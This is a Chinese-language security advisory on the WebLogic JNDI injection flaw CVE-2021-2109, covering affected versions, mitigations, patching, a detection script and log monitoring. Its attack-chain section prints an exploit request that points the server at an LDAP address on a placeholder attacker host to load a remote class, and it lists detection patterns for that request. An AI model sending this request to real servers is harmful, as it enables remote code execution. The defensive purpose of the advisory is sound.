
CVE-2021-2109 Weblogic JNDI注入5个受影响版本与3种临时缓解方案实测WebLogic作为企业级Java应用服务器的代表其安全性直接关系到核心业务系统的稳定运行。2021年1月曝光的CVE-2021-2109漏洞因其高危特性CVSS 9.8引发广泛关注——攻击者通过构造特殊请求触发JNDI注入可在未授权情况下实现远程代码执行。本文将基于企业安全运维视角提供可落地的防御方案。1. 漏洞影响范围深度解析1.1 受影响版本精确匹配经Oracle官方确认以下WebLogic版本存在安全风险主版本号补丁版本号发布日期生命周期状态10.3.60.02012年12月已终止支持12.1.30.02016年6月扩展支持阶段12.2.1.30.02018年10月主流支持12.2.1.40.02020年10月主流支持14.1.10.02020年9月主流支持注意10.3.6版本已超过Oracle标准支持期限建议立即升级至受支持版本。1.2 漏洞原理技术剖析该漏洞本质是JNDI查找过程未做充分安全校验攻击者可操控LDAP地址指向恶意服务端。典型攻击链如下攻击者搭建恶意LDAP服务器向WebLogic发送特制POST请求POST /console/css/%252e%252e/consolejndi.portal HTTP/1.1 Host: target:7001 JNDIBindingPortlethandlecom.bea.console.handles.JndiBindingHandle(ldap://attacker.com/Exploit)服务器加载远程恶意类并执行2. 应急缓解方案实操指南2.1 禁用T3协议推荐方案对于不使用T3协议的环境可通过连接过滤器实现防护登录WebLogic控制台导航至域结构 base_domain 安全 筛选器添加以下配置连接筛选器实现类 weblogic.security.net.ConnectionFilterImpl 规则配置 * * 7001 deny t3 t3s重启管理服务器生效验证方法telnet 目标IP 7001 | grep HELO若返回包含T3协议标识则需检查配置。2.2 关闭IIOP服务对于无需CORBA通信的环境在控制台找到服务 IIOP取消勾选启用IIOP保存后重启实例2.3 网络层防护措施临时限制控制台访问# iptables示例Linux iptables -A INPUT -p tcp --dport 7001 -s 可信IP段 -j ACCEPT iptables -A INPUT -p tcp --dport 7001 -j DROP # Windows防火墙示例 netsh advfirewall firewall add rule nameBlock Weblogic Console dirin actionblock protocolTCP localport70013. 永久修复方案3.1 补丁升级路径各版本对应补丁号基础版本补丁ID下载大小12.2.1.3.0Patch 329781231.2GB12.2.1.4.0Patch 329781241.3GB14.1.1.0.0Patch 329781251.4GB升级步骤# 备份当前配置 tar -czvf weblogic_backup_$(date %Y%m%d).tgz $DOMAIN_HOME # 应用补丁示例 java -jar p32978123_122130_Generic.zip -silent -install_dir$ORACLE_HOME3.2 JDK版本要求补丁需配合以下JDK版本使用WebLogic版本最低JDK要求10.3.6JDK 6u21112.1.3JDK 7u20112.2.1.xJDK 8u2814. 漏洞检测与监控4.1 自查脚本使用以下Python脚本快速检测漏洞存在性import requests def check_vulnerability(url): headers {User-Agent: Mozilla/5.0} try: r requests.get(f{url}/console/css/%252e%252e/console.portal, headersheaders, timeout5, verifyFalse) if WebLogic Server in r.text and r.status_code 200: return 可能存在漏洞 return 未检测到风险 except Exception as e: return f检测失败: {str(e)} # 使用示例 print(check_vulnerability(http://192.168.1.100:7001))4.2 日志监控关键指标在访问日志中筛选以下特征%252e%252e双重URL编码JNDIBindingPortlethandle参数非常规的LDAP连接请求ELK示例查询{ query: { bool: { must: [ {match: {url.path: consolejndi.portal}}, {wildcard: {request: *JndiBindingHandle*}} ] } } }5. 企业级防护体系建议5.1 纵深防御策略网络层部署WAF规则拦截恶意JNDI查找启用IPS特征库如Snort规则ID: 58345主机层# 限制WebLogic用户权限 sudo useradd -r -s /bin/false weblogic sudo chown -R weblogic:weblogic /opt/weblogic应用层启用WebLogic安全审计模块配置JMX监控JNDI查找行为5.2 应急响应流程发现攻击迹象后的标准操作程序立即隔离受影响服务器采集以下取证数据$DOMAIN_HOME/servers/AdminServer/logs/access.log*JDK缓存文件/tmp/JNDI*.class执行root cause分析根据业务影响决定回滚或升级方案实际处理某金融客户案例时通过分析异常LDAP外连记录发现攻击者试图下载挖矿程序。及时阻断后避免了百万级损失。